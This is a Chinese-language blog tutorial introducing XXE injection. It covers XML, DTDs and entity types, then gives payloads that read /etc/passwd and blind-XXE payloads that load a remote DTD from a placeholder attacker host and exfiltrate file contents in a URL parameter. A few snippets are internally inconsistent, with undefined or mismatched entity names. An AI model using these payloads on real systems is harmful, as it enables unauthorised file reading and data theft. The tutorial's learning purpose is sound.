HeartSky's blog


在渗透之路上渐行渐远


从 0 开始学习 XXE

最近遇到了很多 XXE 的题目,之前没有仔细研究过,便在翻阅了很多资料的基础上尝试着总结了下

what is XXE

XXE(XML External Entity),即 XML外部实体注入攻击,当允许引用外部实体时,可通过构造恶意内容,造成文件读取、攻击内网等危害。

那么什么是 XML?

what is XML

1
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

举个例子

1
2
3
4
5
6
7
8
9
10
<!-- xml声明 -->
<?xml version="1.0"?>

<!-- DTD文档类型定义(可选) -->
<!DOCTYPE ANY[
<!ENTITY test "aaa">
]>

<!-- 文档元素 -->
<a>&test;</a>

其中 DTD(Document Type Defination),即文档类型定义,用来定义 XML 文档的合法构建模块。可以在 XML 文档中声明,也可以外部引用。

声明或引入 DTD 的几种方式:

内部声明 DTD

1
<!DOCTYPE 根元素 [元素声明]>

外部引用 DTD

1
2
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

你可能看到了 XML 文档中的 ENTITY,这就是在 DTD 中定义的实体,实体就是对数据的引用,根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。

而 XML 中的实体分为以下四种

  • 字符实体
  • 命名实体
  • 外部实体
  • 参数实体

字符实体

指用十进制格式(&#aaa;)或十六进制格式(&#xaaa;)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。

命名实体

也称为内部实体,在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。

1
<!ENTITY test "233">

外部实体

外部实体表示外部文件的内容,用 SYSTEM 关键词表示。

1
<!ENTITY test SYSTEM "1.xml">

参数实体

参数实体只用于 DTD 和文档的内部子集中。它们使用百分号(%)而不是与字符(&),可以是命名实体或外部实体。另外,参数实体可以引用其他参数实体。

1
2
<!ENTITY % aaa "233">
<!ENTITY % test "%aaa">

显式 XXE

第一种:外部实体

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

第二种:把外部实体放到外部文件中,一般是攻击者服务器

1
2
3
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://xxx/xxx.xml">
<c>&b;</c>

xxx.xml

1
<!ENTITY b SYSTEM "file:///etc/passwd">

第三种:参数实体

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY %d SYSTEM "http://xxx/xxx.xml">
]>
<c>&b;</c>

xxx.xml

1
<!ENTITY b SYSTEM "file:///etc/passwd">

支持协议

除了我们上面的用的 file 协议,还可以使用 http、php、ftp等协议。具体能够使用的协议也和语言有关,见下图

Blind XXE

如果目标服务器没有回显,就只能用 Blind XXE 了。原理就是带着获取的文件源码以 get 参数或其他形式去访问我们的服务器,然后在日志里就可以找到我们要获取的内容了。

Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % hs SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote;
%all;
]>
<root>&send;</root>

xxx.xml

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'>">

这里解释下,%remote; 会把外部文件引入到这个 XML 中,%all; 替换为后面的嵌套实体,这时再在 root 节点中引入 send 实体,便可实现数据转发。如果在 xxx.xml 中 send 实体是参数实体的话,也可以采用下面的形式。

1
2
3
4
5
6
7
8
<?xml version="1.0"?>  
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote;
%all;
%send;
]>

xxx.xml

1
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx/x.php?hs=%hs;'>">

参考资料

https://www.ibm.com/developerworks/cn/xml/x-entities/
http://blog.csdn.net/u011721501/article/details/43775691
https://security.tencent.com/index.php/blog/msg/69
http://c014.cn/2017/04/03/%E4%BB%8E%E9%9B%B6%E5%AD%A6%E4%B9%A0XXE/